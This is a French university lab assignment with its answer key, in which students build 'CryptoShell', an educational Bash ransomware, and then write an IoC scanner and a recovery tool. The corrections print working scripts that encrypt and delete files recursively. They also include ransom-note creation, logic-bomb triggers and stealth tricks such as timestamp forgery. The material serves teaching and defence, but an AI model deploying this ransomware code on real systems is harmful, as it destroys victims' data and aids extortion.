Université de Perpignan
C. Legrand

L3 Informatique
Année 2026

TP Noté Sécurité Informatique – Corrigé

Projet CryptoShell – Ransomware éducatif en Bash

Informations pratiques :

- **Distribution :** 16 février 2026
- **Date de rendu :** 08 mars 2026 à 23h59 sur Moodle
- **Modalités :** Travail **individuel**. Déposer sur Moodle une archive `.zip` contenant :
  - Tous les scripts Bash (Phases 1–6)
  - Le rapport d'analyse (Phase 7) au format PDF
- **Barème :** 25 points ramenés à /20. Chaque phase est évaluée indépendamment.

Avertissement éthique et légal

Les techniques présentées dans ce TP sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes utilisés par les logiciels malveillants et ainsi pouvoir mieux s'en protéger.
Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

Scénario : Vous êtes analyste junior dans une équipe de réponse aux incidents (*CERT*). Votre responsable vous demande de comprendre le fonctionnement d'un ransomware récent ciblant des serveurs Linux, puis de développer les outils de détection et de récupération correspondants. Pour cela, vous allez **construire progressivement** un ransomware éducatif en Bash, baptisé **CryptoShell**, puis **changer de posture** pour créer les contre-mesures.

Prérequis : Chapitres 01 (logiciels malveillants) et 02 (virus interprétés), TD01 à TD04.

Méthode de travail : Pour chaque phase, procédez comme suit :

- Exécutez `setup_lab.sh` pour créer un environnement de test propre.
- Travaillez **uniquement** dans le répertoire `lab/` créé par le script.
- Testez chaque phase **avant** de passer à la suivante.
- Recréez l'environnement de test entre chaque phase si nécessaire.

Fichiers fournis :

- `xor_helper.sh` — Script helper contenant les fonctions `generate_key()` et `xor_file()` (à utiliser avec `source`)
- `setup_lab.sh` — Script de mise en place de l'environnement de test
- `cible1.txt`, `cible2.txt`, `cible3.sh` — Fichiers cibles de test
- `rapport_template.tex` — Template du rapport d'analyse (Phase 7)

Helper XOR (`xor_helper.sh`) — ce script vous est fourni en boîte noire :

```bash
#!/bin/bash
# CryptoShell XOR Helper
# Usage: source xor_helper.sh

# Génère une clé aléatoire de N octets (en hex)
generate_key() {
    local length=${1:-8}
    head -c "$length" /dev/urandom | xxd -p
}

# Chiffre/déchiffre un fichier avec une clé XOR (en hex)
# Usage: xor_file <input_file> <output_file> <hex_key>
xor_file() {
    local input="$1" output="$2" key="$3"
    local key_len=${#key}
    local i=0
    xxd -p "$input" | tr -d '\n' | fold -w2 | while read byte; do
        local ki=$(( i % (key_len / 2) ))
        local key_byte="${key:$((ki*2)):2}"
        printf "%02x" $(( 16#$byte ^ 16#$key_byte ))
        i=$((i + 1))
    done | xxd -r -p > "$output"
}
```

xor_helper.sh (fourni)

Barème détaillé :

Phase	Intitulé	Durée	Points	Difficulté
1	Reconnaissance	30 min	3 pts	⋆⋆
2	Chiffrement XOR	45 min	4 pts	⋆⋆⋆
3	Propagation et rançon	45 min	4 pts	⋆⋆⋆
4	Déclencheur	30 min	3 pts	⋆⋆
5	Furtivité	30 min	3 pts	⋆⋆⋆
6	Détection et récupération	45 min	4 pts	⋆⋆⋆
7	Rapport d'analyse	45 min	4 pts	⋆⋆⋆⋆
	Total	**∼4h30**	**25 pts → /20**	

Exercice 1 (Projet CryptoShell — Ransomware éducatif).

Phase 1 — Reconnaissance et découverte de fichiers [3 points]

Rappel de cours

Classification d'Adleman et cycle de vie d'un virus :
Leonard Adleman (1988) a proposé une classification formelle des programmes malveillants :

- **Programmes simples :** exécutent leur action sans se reproduire (bombe logique, ransomware pur, spyware).
- **Programmes auto-reproducteurs :** se copient dans d'autres programmes ou systèmes (virus, vers).

Le **cycle de vie** d'un virus comporte 3 phases :

1. **Infection** : le virus se copie dans de nouveaux hôtes (routine de recherche + copie)
2. **Incubation** : le virus est présent mais inactif (attente du déclencheur)
3. **Maladie** : la charge utile s'exécute (action destructrice)

La **routine de recherche de fichiers** est la première étape de tout malware ciblant des fichiers. Elle détermine la **portée** de l'attaque : plus elle est efficace (récursive, multi-extensions), plus l'impact est important.

1a) Écrire un script `recon.sh` qui prend un répertoire en argument et affiche tous les fichiers `.txt` et `.dat` qu'il contient (récursivement). Pour chaque fichier, afficher : le chemin, la taille en octets, la date de modification. Utiliser `find` ou un parcours récursif avec une boucle.

1b) Modifier le script pour que le nombre total de fichiers trouvés et la taille totale soient calculés. Stocker la liste des fichiers cibles dans un fichier `targets.list`.

1c) **Question théorique :** Dans la classification d'Adleman, où se situe un ransomware ? Est-ce un programme simple ou auto-reproducteur ? Justifier.

Correction 1. ***1a+1b)*** *Script de reconnaissance :*

```bash
#!/bin/bash
# CryptoShell -- Phase 1 : Reconnaissance
TARGET_DIR="${1:-.}"
TARGETS_FILE="targets.list"
echo "# CryptoShell Target List -- $(date)" > "$TARGETS_FILE"
echo "# Format: SIZE DATE PATH" >> "$TARGETS_FILE"

echo "=== CryptoShell Recon ==="
echo "Scanning: $TARGET_DIR"

find "$TARGET_DIR" -type f \( -name "*.txt" -o -name "*.dat" \) | while read filepath; do
    SIZE=$(stat --format="%s" "$filepath" 2>/dev/null || stat -f "%z" "$filepath" 2>/dev/null)
    MDATE=$(stat --format="%y" "$filepath" 2>/dev/null || stat -f "%Sm" "$filepath" 2>/dev/null)
    echo "$SIZE $MDATE $filepath"
    echo "$SIZE $MDATE $filepath" >> "$TARGETS_FILE"
done

TOTAL_FILES=$(grep -c -v "^#" "$TARGETS_FILE")
TOTAL_SIZE=$(grep -v "^#" "$TARGETS_FILE" | awk '{sum += $1} END {print sum+0}')
echo "--- Summary ---"
echo "Total files found: $TOTAL_FILES"
echo "Total size: $TOTAL_SIZE bytes"
echo "Target list saved to: $TARGETS_FILE"
```

recon.sh (phase1_recon.sh)

1c) *Dans la classification d'Adleman, un* ***ransomware pur*** *est un* ***programme simple*** *(non auto-reproducteur). Il ne se copie pas dans d'autres programmes : il chiffre les fichiers de la victime et demande une rançon, mais ne se propage pas de lui-même.*

Cependant, un ransomware peut être ***couplé*** *à un virus ou un ver pour se propager (ex : WannaCry = ransomware + ver). Dans ce cas, le composant de propagation est auto-reproducteur, mais le composant ransomware (chiffrement + rançon) reste un programme simple.*

Point clé à retenir

- *La recherche récursive (`find` avec `-name`) est la première étape de TOUT malware ciblant des fichiers.*
- *Un ransomware pur est un* ***programme simple*** *dans la classification d'Adleman — il ne se reproduit pas.*
- *La portée de l'attaque dépend directement de la routine de recherche : récursive → impact maximal.*
- *`stat` permet d'extraire les métadonnées des fichiers (taille, dates).*

Phase 2 — Chiffrement XOR [4 points]

Rappel de cours

Chiffrement XOR et polymorphisme viral :
Le XOR (ou exclusif) possède 4 propriétés algébriques fondamentales :

1. **Commutativité :** $A \oplus B = B \oplus A$
2. **Associativité :** $(A \oplus B) \oplus C = A \oplus (B \oplus C)$
3. **Élément neutre :** $A \oplus 0 = A$
4. **Auto-inverse :** $A \oplus A = 0$

Conséquence pour le chiffrement : Si $C = M \oplus K$ (chiffrement), alors $C \oplus K = M \oplus K \oplus K = M \oplus 0 = M$ (déchiffrement). La **même opération** avec la **même clé** permet de chiffrer ET déchiffrer.

Lien avec le chiffrement de Vernam : Le XOR avec une clé aussi longue que le message et véritablement aléatoire constitue le **masque jetable** (*one-time pad*), prouvé incassable par Shannon (1949).

Polymorphisme viral par chiffrement XOR : Dans un virus polymorphe, le code viral est chiffré avec une clé XOR différente à chaque infection. Seule la **routine de déchiffrement** (en clair) reste constante — c'est un **invariant détectable**.

Table de vérité du XOR :

A	B	$A \oplus B$
0	0	0
0	1	1
1	0	1
1	1	0

2a) Expliquer mathématiquement pourquoi XOR permet de chiffrer ET déchiffrer avec la même opération et la même clé. Donner les 4 propriétés algébriques utilisées.

2b) Calculer manuellement le résultat du XOR de la chaîne `"HACK"` avec la clé `0x5A`. Fournir le tableau complet (caractère, ASCII hex, clé hex, résultat hex, résultat caractère).

2c) En utilisant `xor_helper.sh`, écrire un script `encrypt.sh` qui : (1) génère une clé aléatoire de 8 octets, (2) chiffre un fichier passé en argument, (3) renomme le fichier chiffré avec l'extension `.locked`, (4) supprime l'original, (5) sauvegarde la clé dans un fichier caché `.cryptoshell_key`.

2d) Écrire `decrypt.sh` qui : lit la clé depuis `.cryptoshell_key`, déchiffre un fichier `.locked`, restaure le nom original, et supprime le fichier `.locked`.

Correction 2. *2a) Le XOR permet de chiffrer et déchiffrer avec la même opération grâce aux propriétés suivantes :*

- ***Auto-inverse :*** $A \oplus A = 0$ *pour tout* A
- ***Élément neutre :*** $A \oplus 0 = A$ *pour tout* A

- ***Associativité :*** $(A \oplus B) \oplus C = A \oplus (B \oplus C)$
- ***Commutativité :*** $A \oplus B = B \oplus A$

Démonstration : *Soit M le message, K la clé, C le chiffré.*

$$C = M \oplus K \quad \Rightarrow \quad C \oplus K = (M \oplus K) \oplus K = M \oplus (K \oplus K) = M \oplus 0 = M$$

Le déchiffrement est identique au chiffrement : $D(C, K) = C \oplus K = M$.

2b) *Calcul du XOR de* `"HACK"` *avec la clé* `0x5A` *:*

Caractère	***ASCII (hex)***	***Clé (hex)***	***Résultat (hex)***	***Résultat (car.)***
`H`	`0x48`	`0x5A`	`0x12`	*(non imprimable)*
`A`	`0x41`	`0x5A`	`0x1B`	*(ESC)*
`C`	`0x43`	`0x5A`	`0x19`	*(non imprimable)*
`K`	`0x4B`	`0x5A`	`0x11`	*(non imprimable)*

Vérification : `0x48 XOR 0x5A = 01001000 XOR 01011010 = 00010010 = 0x12`.
Déchiffrement : `0x12 XOR 0x5A = 00010010 XOR 01011010 = 01001000 = 0x48 = 'H'` ✓

2c) *Script de chiffrement :*

```
#!/bin/bash
source xor_helper.sh
KEY_FILE=".cryptoshell_key"
input="$1"
if [ ! -f "$input" ]; then
    echo "Erreur: fichier '$input' introuvable."; exit 1
fi
# Générer une clé aléatoire de 8 octets
KEY=$(generate_key 8)
# Chiffrer le fichier
xor_file "$input" "${input}.locked" "$KEY"
# Supprimer l'original
rm -f "$input"
# Sauvegarder la clé
echo "$KEY" > "$KEY_FILE"
echo "[+] Chiffré: ${input}.locked"
echo "[+] Clé sauvegardée dans $KEY_FILE"
```

encrypt.sh

2d) *Script de déchiffrement :*

```
#!/bin/bash
source xor_helper.sh
KEY_FILE=".cryptoshell_key"
input="$1"
if [ ! -f "$input" ]; then
    echo "Erreur: fichier '$input' introuvable."; exit 1
fi
if [ ! -f "$KEY_FILE" ]; then
    echo "Erreur: clé introuvable ($KEY_FILE)."; exit 1
fi
KEY=$(cat "$KEY_FILE")
```

```
original="${input%.locked}"
xor_file "$input" "$original" "$KEY"
rm -f "$input"
echo "[+] Déchiffré: $original"
```

decrypt.sh

Attention

Avec une clé d'un seul octet, il n'y a que 255 variantes possibles (0x01 à 0xFF, 0x00 étant l'élément neutre). Le ***brute-force*** *est trivial. Une clé de 8 octets offre* $256^8 \approx 1{,}8 \times 10^{19}$ *possibilités — suffisant pour résister au brute-force simple.*

Point clé à retenir

- *Le XOR est au cœur du* ***polymorphisme viral*** *ET du* ***ransomware****. Dans un virus polymorphe, la routine de déchiffrement (en clair) reste un* ***invariant détectable****. Dans un ransomware, la clé de chiffrement est le* ***levier de rançon****.*
- `generate_key()` *utilise* `/dev/urandom` *: source de pseudo-aléa cryptographique sous Linux.*
- *Le fichier* `.cryptoshell_key` *commence par un point : il est* ***caché*** *par* `ls` *(mais pas par* `ls -a`*).*

Phase 3 — Propagation et rançon [4 points]

Rappel de cours

Techniques d'infection classiques et anti-surinfection :
Les virus classiques utilisent 3 techniques principales d'infection de fichiers :

- **Écrasement :** le virus remplace le début du fichier hôte (destructif, simple)
- **Ajout en fin :** le virus s'ajoute après le code hôte (non destructif)
- **Compagnon :** le virus crée un fichier portant le même nom mais avec une priorité d'exécution plus élevée

Schéma textuel avant/après infection par ajout :

```
AVANT :                    APRES :
+------------------+       +------------------+
| Code hote        |       | Code hote        |
| (original)       |       | (original)       |
+------------------+       +------------------+
                            | Code viral       |
                            | (ajout en fin)   |
                            +------------------+
```

Anti-surinfection : Un virus doit éviter de réinfecter un fichier déjà infecté. Stratégies : marqueur (signature), comparaison tail, exécution test.

3a) Écrire `cryptoshell.sh` qui : (1) génère une clé aléatoire, (2) parcourt récursivement un répertoire cible, (3) chiffre chaque fichier `.txt` et `.dat` trouvé, (4) renomme en `.locked`, (5) dépose un fichier `RANSOM_NOTE.txt` dans chaque répertoire contenant des fichiers chiffrés.

3b) Ajouter un mécanisme d'**anti-surinfection** : le script ne doit PAS re-chiffrer un fichier déjà `.locked`. Implémenter cette vérification.

3c) La note de rançon doit contenir : un message menaçant, un identifiant unique de la victime (généré aléatoirement), et des instructions (fictives). Écrire la fonction `create_ransom_note()`.

3d) **Question théorique :** Comparer la technique d'infection d'un ransomware avec les 3 techniques classiques de virus (écrasement, ajout, compagnon). Quelles sont les similitudes et différences fondamentales ?

Correction 3. *3a+3b+3c) Le ransomware complet :*

```bash
#!/bin/bash
# CryptoShell -- Phase 3 : Propagation et rançon
source xor_helper.sh
TARGET_DIR="${1:-.}"
KEY_FILE=".cryptoshell_key"
VICTIM_ID=$(head -c 8 /dev/urandom | xxd -p)

# Générer une clé aléatoire
KEY=$(generate_key 8)
echo "$KEY" > "$KEY_FILE"

# Fonction de création de note de rançon (3c)
create_ransom_note() {
    local dir="$1"
    cat > "${dir}/RANSOM_NOTE.txt" << EOF
============================================
    CRYPTOSHELL -- VOS FICHIERS SONT CHIFFRÉS
============================================
Identifiant victime : ${VICTIM_ID}
Envoyez 0.5 BTC à [ADRESSE FICTIVE -- TP ÉDUCATIF]
Contact : cryptoshell@fake-educational.example
[Ceci est un exercice éducatif]
============================================
EOF
}

echo "[CryptoShell] Chiffrement en cours..."
find "$TARGET_DIR" -type f \( -name "*.txt" -o -name "*.dat" \) | while read filepath; do
    # 3b) Anti-surinfection : ne pas re-chiffrer les .locked
    case "$filepath" in *.locked) continue ;; esac
    [ "$(basename "$filepath")" = "RANSOM_NOTE.txt" ] && continue
    xor_file "$filepath" "${filepath}.locked" "$KEY"
    rm -f "$filepath"
    echo "  [+] $(basename "$filepath") -> $(basename "$filepath").locked"
    DIR=$(dirname "$filepath")
    if [ ! -f "${DIR}/RANSOM_NOTE.txt" ]; then
        create_ransom_note "$DIR"
    fi
```

```
done
echo "[CryptoShell] Chiffrement terminé. ID: $VICTIM_ID"
```

cryptoshell.sh (phase3_ransom.sh)

3d) *Comparaison ransomware vs techniques classiques :*

Technique	***Action sur le fichier***	***Réversibilité***
Écrasement	*Remplace le contenu par le code viral*	*Irréversible (données détruites)*
Ajout	*Ajoute le code viral en fin*	*Réversible (retirer le code ajouté)*
Compagnon	*Ne modifie pas le fichier original*	*Réversible (supprimer le compagnon)*
Ransomware	*Remplace le contenu par la version chiffrée*	*Réversible **si** la clé est connue*

Similitudes : *Le ransomware, comme le virus par écrasement,* ***remplace*** *le contenu du fichier. Comme le virus par ajout, il utilise un mécanisme d'****anti-surinfection*** *(vérification de l'extension* `.locked`*).*

Différences fondamentales : *(1) Le ransomware ne s'ajoute* ***pas*** *au fichier — il remplace le contenu par une version chiffrée. (2) Le ransomware ne se* ***propage pas*** *dans les exécutables — il cible les* ***données****. (3) La réversibilité dépend de la* ***clé*** *: c'est le levier économique du ransomware.*

Point clé à retenir

- *Un ransomware ne «s'ajoute» pas au fichier comme un virus classique — il* ***remplace*** *le contenu par une version chiffrée.*
- *Le mécanisme d'anti-surinfection est analogue : vérifier l'extension* `.locked` *joue le même rôle qu'un marqueur d'infection dans un virus.*
- *L'identifiant victime (*`VICTIM_ID`*) permet à l'attaquant d'associer un paiement à une clé de déchiffrement.*

Phase 4 — Déclencheur (bombe logique) [3 points]

Rappel de cours

Bombes logiques et déclencheurs :
Une **bombe logique** (*logic bomb*) est un programme dont la charge utile ne s'active que lorsqu'une **condition** est remplie. Types de déclencheurs :

- **Temporel :** date, heure, jour de la semaine
- **Par compteur :** après N exécutions
- **Événementiel :** présence d'un fichier, connexion réseau, login utilisateur
- **Environnemental :** variables d'environnement, nom de machine

Commandes utiles :

- `date +%u` : jour de la semaine (1=lundi, . . . , 7=dimanche)
- `date +%d` : jour du mois (01–31)
- `date +%m` : mois (01–12)

Exemples historiques : Omega Engineering (1996) — un administrateur licencié a planté une bombe logique qui a supprimé tous les logiciels de production 20 jours après son départ. Dark Seoul (2013) — malware activé à une date/heure précise ciblant des banques et médias sud-coréens.

Lien avec les virus : Un virus avec un déclencheur différé est une bombe logique montée sur un vecteur viral. La séparation déclencheur/charge utile est un **pattern architectural** fondamental.

4a) Modifier `cryptoshell.sh` pour que le chiffrement ne s'active que si une **condition temporelle** est remplie : le script doit vérifier si nous sommes un dimanche (`date +%u` renvoie 7). Sinon, le script se termine silencieusement.

4b) Implémenter un **déclencheur alternatif par compteur** : un fichier caché `.cs_count` est incrémenté à chaque exécution. Le chiffrement ne s'active qu'après 5 exécutions. Après activation, le compteur est supprimé.

4c) **Question théorique :** Citer deux exemples historiques de bombes logiques célèbres. Expliquer pourquoi les antivirus ont du mal à détecter les bombes logiques avant leur déclenchement.

Correction 4. *4a) Déclencheur temporel (dimanche) — code à ajouter au début du script :*

```
# Déclencheur temporel : dimanche uniquement
DAY=$(date +%u)
if [ "$DAY" -ne 7 ]; then
    exit 0    # Pas dimanche -> sortie silencieuse
fi
```

Déclencheur temporel

4b) Déclencheur par compteur :

```
# Déclencheur par compteur
COUNTER_FILE=".cs_count"
count=0
if [ -f "$COUNTER_FILE" ]; then
    count=$(cat "$COUNTER_FILE")
fi
count=$((count + 1))
echo "$count" > "$COUNTER_FILE"
if [ "$count" -lt 5 ]; then
    exit 0    # Pas encore 5 exécutions
fi
# Activation ! Supprimer le compteur
rm -f "$COUNTER_FILE"
```

Déclencheur par compteur

4c) Exemples historiques :

- ***Omega Engineering (1996) :*** *Timothy Lloyd, administrateur système licencié, a planté une bombe logique activée 20 jours après son départ. Elle a supprimé tous les logiciels de conception et production, causant ∼10 millions de dollars de dommages.*
- ***Dark Seoul / Jokra (2013) :*** *Malware activé le 20 mars 2013 à 14h00 précises, ciblant simultanément 3 banques et 2 chaînes de télévision sud-coréennes. Il a effacé le MBR des disques durs.*

Difficulté de détection : *Les antivirus ont du mal à détecter les bombes logiques avant leur déclenchement car :*

1. *Le code de la bombe est* ***du code légitime*** *(une condition `if` et une action) — pas de signature virale caractéristique.*
2. *La charge utile peut utiliser des* ***API légitimes*** *(suppression de fichiers, formatage).*
3. *L'analyse statique ne peut pas prédire si la condition sera remplie ou non.*
4. *Seule l'analyse* ***comportementale à l'exécution*** *(sandboxing) pourrait la détecter, mais elle nécessite de simuler les bonnes conditions de déclenchement.*

Attention

En C, le champ `tm_mon` de `struct tm` est indexé à partir de 0 (janvier=0, décembre=11) — piège classique du TD02. En Bash, `date +%u` retourne 1=lundi à 7=dimanche, sans piège d'indexation.

Point clé à retenir

- *La **séparation** entre le déclencheur et la charge utile est un pattern fondamental en sécurité. Un même déclencheur peut activer différentes charges, et une même charge peut être déclenchée par différentes conditions.*
- *Le fichier `.cs_count` est un **indicateur de compromission** (IoC) : sa présence signale une bombe logique en phase d'incubation.*
- *Les bombes logiques sont difficiles à détecter car elles utilisent du **code fonctionnellement légitime** — seule l'**intention** est malveillante.*

Phase 5 — Furtivité et anti-détection [3 points]

Rappel de cours

Techniques de furtivité (*stealth*) :
Un malware furtif cherche à dissimuler les traces de son activité pour retarder la détection :

- **Préservation des horodatages :** la modification d'un fichier change sa date de dernière modification (`mtime`). Un administrateur surveillant les dates peut détecter une anomalie.
- **Nettoyage des fichiers temporaires :** tout artefact laissé par le malware (fichiers temporaires, logs) est une preuve.
- **Suppression des erreurs :** les messages d'erreur sur `stderr` peuvent alerter l'utilisateur.

Commandes clés :

- `touch -r reference fichier` : applique les horodatages de `reference` à `fichier`
- `stat -format="%y" fichier` : affiche la date de modification
- `trap "commandes" EXIT SIGINT SIGTERM` : exécute `commandes` à la sortie du script (même en cas d'interruption Ctrl+C ou kill)
- `2>/dev/null` : redirige `stderr` vers `/dev/null`

5a) Ajouter la **préservation des horodatages** : avant de chiffrer chaque fichier, sauvegarder sa date de modification, puis la restaurer sur le fichier `.locked`. Utiliser `touch -r` pour copier les horodatages.

5b) Ajouter un **mécanisme de nettoyage** : utiliser `trap` pour garantir la suppression de tous les fichiers temporaires (clé, fichiers intermédiaires) même en cas d'interruption (SIGINT, SIGTERM). Rediriger stderr avec `2>/dev/null` sur les commandes critiques.

5c) **Question théorique :** Le polymorphisme par réordonnancement de lignes (vu au TD04) et le polymorphisme par chiffrement XOR (vu au TD02) visent le même objectif : échapper à la détection par signature. Comparer ces deux approches : lequel est plus robuste

? Lequel laisse un invariant détectable ? Un antivirus pourrait-il détecter CryptoShell malgré ces techniques ?

Correction 5. ***5a)*** *Préservation des horodatages — code à ajouter dans la boucle de chiffrement :*

```
# Avant chiffrement : sauvegarder l'horodatage
touch -r "$filepath" "/tmp/.cs_ref_$$" 2>/dev/null
# ... (chiffrement xor_file + rm) ...
# Après chiffrement : restaurer l'horodatage
touch -r "/tmp/.cs_ref_$$" "${filepath}.locked" 2>/dev/null
rm -f "/tmp/.cs_ref_$$" 2>/dev/null
```

Préservation des horodatages (5a)

5b) *Nettoyage avec trap — code à ajouter en début de script :*

```
# Nettoyage garanti même en cas de Ctrl+C
trap "rm -f /tmp/.cs_ref_$$ .cryptoshell_key.tmp .cs_count 2>/dev/
    null" EXIT SIGINT SIGTERM
```

Nettoyage avec trap (5b)

Le script complet intégrant toutes les phases (1–5) est fourni dans `corriges/phase5_stealth.sh`.

5c) *Comparaison des deux types de polymorphisme :*

Critère	***Polymorphisme XOR***	***Polymorphisme par réordonnancement***
Principe	*Le code est chiffré avec une clé différente à chaque copie*	*Les lignes du code sont permutées aléatoirement*
Invariant	*La routine de* ***déchiffrement*** *(décrypteur) reste en clair*	*Le code de* ***restauration*** *(qui remet les lignes en ordre) reste fixe*
Robustesse	*Élevée — le code chiffré ressemble à du bruit*	*Moyenne — les lignes individuelles sont lisibles*
Détection	*Signature du décrypteur*	*Signature du restaurateur + tags* `#@n#`

Les ***deux*** *laissent un invariant détectable : le code qui réordonne/déchiffre. Le polymorphisme XOR est plus robuste car le code chiffré ressemble à du bruit aléatoire, tandis que les lignes permutées restent lisibles individuellement.*

Pour CryptoShell : un antivirus pourrait détecter les ***patterns comportementaux*** *(chiffrement massif de fichiers, création de notes de rançon, fichiers* `.locked`*) même sans signature statique. C'est le principe des* ***EDR*** *(Endpoint Detection and Response) modernes.*

Point clé à retenir

- *La furtivité ne rend pas la détection impossible, mais* ***retarde la découverte****. Dans un ransomware réel, le temps entre l'infection et la détection est critique : plus il est long, plus de fichiers sont chiffrés.*
- *La* ***détection comportementale*** *(surveiller les patterns d'accès massif aux fichiers + chiffrement) est la plus robuste car elle détecte l'****intention*** *du malware plutôt que sa* ***forme****.*
- *`trap ... EXIT SIGINT SIGTERM` est une bonne pratique universelle en Bash — elle garantit le nettoyage même en cas d'interruption.*

Phase 6 — Détection et récupération [4 points]

Rappel de cours

Indicateurs de compromission (IoC) et types de détection :
Un **indicateur de compromission** (*Indicator of Compromise*, IoC) est un artefact observable qui signale une infection ou une intrusion.

Types de détection antivirus :

- **Par signature** (*pattern matching*) : recherche de chaînes de caractères ou patterns connus dans les fichiers (rapide, précis, mais contournable par polymorphisme)
- **Heuristique** : analyse de code suspect sans signature connue — détection de patterns comportementaux dans le code source (ex : un script qui chiffre massivement des fichiers)
- **Comportementale** : surveillance des actions **à l'exécution** — détection de l'intention du programme (ex : accès massif aux fichiers + écriture de fichiers chiffrés)

Commandes `grep` utiles pour l'analyse :

- `grep -q "pattern" fichier` : mode silencieux, code de sortie 0 si trouvé
- `grep -r "pattern" répertoire` : recherche récursive
- `grep -l "pattern" *.sh` : liste les fichiers contenant le pattern
- `grep -c "pattern" fichier` : compte les occurrences

6a) Écrire `scanner.sh` qui parcourt un répertoire et détecte les **indicateurs de compromission (IoC)** de CryptoShell :

- Présence de fichiers `.locked`
- Présence de `RANSOM_NOTE.txt`
- Présence de fichiers cachés `.cs_count`, `.cryptoshell_key`
- Patterns suspects dans les scripts : `xor`, `locked`, `RANSOM`

Le scanner doit afficher un rapport synthétique avec le nombre d'IoC trouvés par catégorie.

6b) Écrire `recovery.sh` qui : (1) recherche le fichier `.cryptoshell_key`, (2) si trouvé, déchiffre tous les fichiers `.locked` du répertoire, (3) supprime les notes de rançon et les fichiers d'état.

6c) **Question théorique :** Remplir un tableau d'IoC pour chaque phase (1–5) avec : la technique utilisée, l'IoC détectable, le type de détection (signature, heuristique, comportemental). Proposer une stratégie de détection combinant les 3 approches.

Correction 6. ***6a)*** *Scanner de détection :*

```
#!/bin/bash
# CryptoShell IoC Scanner
DIR="${1:-.}"
echo "=== CryptoShell IoC Scanner ==="
echo "Répertoire: $DIR"
echo ""
IOC_LOCKED=0; IOC_RANSOM=0; IOC_HIDDEN=0; IOC_PATTERNS=0

echo "--- Fichiers chiffrés (.locked) ---"
while IFS= read -r f; do
    echo "  [LOCKED] $f"
    IOC_LOCKED=$((IOC_LOCKED + 1))
done < <(find "$DIR" -name "*.locked" -type f 2>/dev/null)
[ "$IOC_LOCKED" -eq 0 ] && echo "  Aucun."

echo "--- Notes de rançon ---"
while IFS= read -r f; do
    echo "  [RANSOM] $f"
    IOC_RANSOM=$((IOC_RANSOM + 1))
done < <(find "$DIR" -name "RANSOM_NOTE.txt" -type f 2>/dev/null)
[ "$IOC_RANSOM" -eq 0 ] && echo "  Aucune."

echo "--- Fichiers cachés suspects ---"
for name in ".cs_count" ".cryptoshell_key"; do
    while IFS= read -r f; do
        echo "  [HIDDEN] $f"
        IOC_HIDDEN=$((IOC_HIDDEN + 1))
    done < <(find "$DIR" -name "$name" -type f 2>/dev/null)
done
[ "$IOC_HIDDEN" -eq 0 ] && echo "  Aucun."

echo "--- Patterns suspects (scripts) ---"
while IFS= read -r f; do
    IND=""
    grep -q "xor" "$f" 2>/dev/null && IND="$IND [xor]"
    grep -q "locked" "$f" 2>/dev/null && IND="$IND [locked]"
    grep -q "RANSOM" "$f" 2>/dev/null && IND="$IND [RANSOM]"
    if [ -n "$IND" ]; then
        echo "  [SUSPECT] $(basename "$f"):$IND"
        IOC_PATTERNS=$((IOC_PATTERNS + 1))
    fi
done < <(find "$DIR" -name "*.sh" -type f 2>/dev/null)
[ "$IOC_PATTERNS" -eq 0 ] && echo "  Aucun."

echo ""
echo "=== RAPPORT ==="
TOTAL=$((IOC_LOCKED + IOC_RANSOM + IOC_HIDDEN + IOC_PATTERNS))
```

```
echo "  Fichiers .locked    : $IOC_LOCKED"
echo "  Notes de rançon     : $IOC_RANSOM"
echo "  Fichiers cachés     : $IOC_HIDDEN"
echo "  Scripts suspects    : $IOC_PATTERNS"
echo "  TOTAL IoC           : $TOTAL"
```

scanner.sh (phase6_scanner.sh)

6b) *Outil de récupération :*

```
#!/bin/bash
# CryptoShell Recovery Tool
source xor_helper.sh
DIR="${1:-.}"
echo "=== CryptoShell Recovery ==="

# Rechercher la clé
KEY_FILE=$(find "$DIR" -name ".cryptoshell_key" -type f 2>/dev/null |
    head -n 1)
[ -z "$KEY_FILE" ] && [ -f ".cryptoshell_key" ] && KEY_FILE=".
    cryptoshell_key"
if [ -z "$KEY_FILE" ]; then
    echo "[!] Clé introuvable. Déchiffrement impossible."
    exit 1
fi
KEY=$(cat "$KEY_FILE")
echo "[+] Clé trouvée: $KEY"

# Déchiffrer tous les fichiers .locked
RECOVERED=0
while IFS= read -r locked; do
    original="${locked%.locked}"
    xor_file "$locked" "$original" "$KEY"
    rm -f "$locked"
    echo "  [+] $(basename "$locked") -> $(basename "$original")"
    RECOVERED=$((RECOVERED + 1))
done < <(find "$DIR" -name "*.locked" -type f 2>/dev/null)

# Nettoyage des artefacts
for name in "RANSOM_NOTE.txt" ".cryptoshell_key" ".cs_count"; do
    find "$DIR" -name "$name" -type f -delete 2>/dev/null
done
[ -f ".cryptoshell_key" ] && rm -f ".cryptoshell_key"
[ -f ".cs_count" ] && rm -f ".cs_count"

echo "[OK] $RECOVERED fichiers récupérés."
```

recovery.sh (phase6_recovery.sh)

6c) *Tableau des IoC par phase :*

Phase	*Technique*	*IoC détectable*	*Type de détection*
1	*Recherche récursive*	*Accès massif aux fichiers* `.txt/.dat`	*Comportemental*
2	*Chiffrement XOR*	*Fichiers* `.locked`, `.cryptoshell_key`	*Signature*
3	*Propagation + rançon*	`RANSOM_NOTE.txt`, *patterns* `xor/locked`	*Signature + Heuristique*
4	*Déclencheur*	`.cs_count`, *conditions* `date`	*Heuristique*
5	*Furtivité*	`touch -r`, `trap`, `2>/dev/null`	*Heuristique*

Stratégie de détection combinée :

1. ***Signature :*** *Rechercher les IoC connus (fichiers* `.locked`, `RANSOM_NOTE.txt`, `.cryptoshell_key`*).*
2. ***Heuristique :*** *Analyser les scripts pour détecter des patterns suspects (utilisation de* `xor`*, boucles sur des fichiers, chiffrement).*
3. ***Comportementale :*** *Surveiller en temps réel les accès fichiers — détecter un processus qui lit massivement des fichiers de données puis les réécrit (pattern de chiffrement).*

